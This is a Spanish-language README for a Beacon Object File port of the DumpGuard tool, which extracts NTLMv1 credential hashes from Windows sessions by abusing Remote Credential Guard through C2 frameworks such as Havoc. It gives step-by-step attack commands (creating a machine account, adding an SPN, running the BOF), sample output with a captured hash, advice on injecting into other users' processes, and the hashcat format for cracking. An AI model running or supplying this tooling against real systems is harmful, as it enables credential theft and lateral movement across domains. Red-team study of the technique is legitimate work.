
Beacon Object File (BOF) port de DumpGuard para extraer hashes NTLMv1 de sesiones en sistemas Windows modernos.
Puerto de Beacon Object File (BOF) de DumpGuard para extraer hashes NTLMv1 de sesiones en sistemas Windows modernos.

Este repositorio contiene una implementación de Beacon Object File (BOF) de DumpGuard, migrada de la implementación original en C#/.NET a C puro para su uso con Havoc y otros frameworks C2 que soportan la ejecución de BOF.
Esto es una Prueba de Concepto (PoC) y un ejercicio de aprendizaje.
Este puerto BOF fue creado como parte de mi viaje personal para comprender los detalles del protocolo Remote Credential Guard, los flujos de autenticación Kerberos y los mecanismos de seguridad subyacentes de Windows. El proceso de migrar esta herramienta de C# a C puro para ejecución BOF fue principalmente un esfuerzo educativo.
Tenga en cuenta que:
Si encuentra problemas o tiene mejoras, las contribuciones son bienvenidas. Para una implementación robusta y bien probada, consulte la herramienta original DumpGuard.
Este BOF se basa en la investigación y herramientas de @bytewreck en SpecterOps:
DumpGuard explota Windows Remote Credential Guard (RCG) para extraer hashes NTLMv1 de usuarios conectados sin tocar la memoria de LSASS y sin requerir privilegios de administrador. Funciona incluso cuando Credential Guard está habilitado.
TSRemoteGuardCreds.Después de la Ronda 4, tenemos el blob de credenciales cifrado. La magia ocurre cuando llamamos a LsaCallAuthenticationPackage con el paquete TSSSP. LSA enruta nuestra solicitud a través de RDPEAR -> TSRemoteGuard -> MSV1_0, que descifra los secretos y calcula la respuesta NTLMv1 por nosotros.
Credential Guard aísla los secretos NTLM y Kerberos en un espacio VBS seguro (LsaIso.exe), evitando ataques de acceso directo a la memoria como Mimikatz. Sin embargo, Credential Guard aún necesita usar esos secretos para la autenticación legítima. Esa es la interfaz que explota esta técnica.
Para un análisis técnico completo, consulte: Catching Credential Guard Off Guard
Este puerto BOF solo implementa el modo "Self" de la herramienta original DumpGuard. Los modos "All" no están implementados en esta versión.
Extrae el hash NTLMv1 del usuario del proceso actual a través del protocolo Remote Credential Guard.
Si bien este BOF solo implementa el modo "self", aún puede extraer hashes NTLMv1 de otros usuarios, por ejemplo, inyectando en un proceso que se ejecute como ese usuario. Por ejemplo, si tiene privilegios de administrador, puede inyectar el BOF en un proceso propiedad de otro usuario conectado para obtener su hash.
Esta técnica requiere credenciales para una cuenta que tenga un Nombre de Principal de Servicio (SPN) registrado. Una forma de lograrlo es creando una cuenta de máquina y agregándole un SPN.
Usando Impacket:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
Ejemplo de salida:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
Usando krbrelayx addspn.py:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
Usando pywerview:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
Busque serviceprincipalname: host/yourspn.domain.local en la salida.
inline-execute /path/to/dumpguard.x64.o x <dominio> <nombre_usuario> <contraseña> <spn>
Nota: El parámetro
xes un marcador de posición/argumento ficticio requerido antes del dominio. Esto podría solucionarse en versiones futuras (si las hay).
Ejemplo:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
Ejemplo de salida:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
Importante: El hash NTLMv1 extraído pertenece al usuario que ejecuta el proceso BOF, no a la cuenta de máquina utilizada para la autenticación (
EVIL_COMPUTER$). Las credenciales de la cuenta de máquina solo se utilizan para autenticarse en el KDC y establecer la sesión de Remote Credential Guard.
La salida está en formato NTLMv1 compatible con hashcat:
DOMINIO\usuario::NOMBREHOST::NTRESPUESTA:DESAFIO
make clean && make
Salida: build/dumpguard.x64.o
Licencia BSD de 3 cláusulas
La herramienta original DumpGuard está bajo licencia BSD de 3 cláusulas, Copyright (c) 2025 Valdemar Carøe. Este puerto BOF mantiene los mismos términos de licencia.
Para preguntas, informes de errores o contribuciones, abra un issue en GitHub.
| Ronda | Cliente -> Servidor | Servidor -> Cliente |
|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (desde KDC real) |
| 2 | AP-REQ (ticket de servicio) | AP-REP + MIC |
| 3 | PubKeyAuth (hash de enlace) | Hash de enlace del servidor |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/A |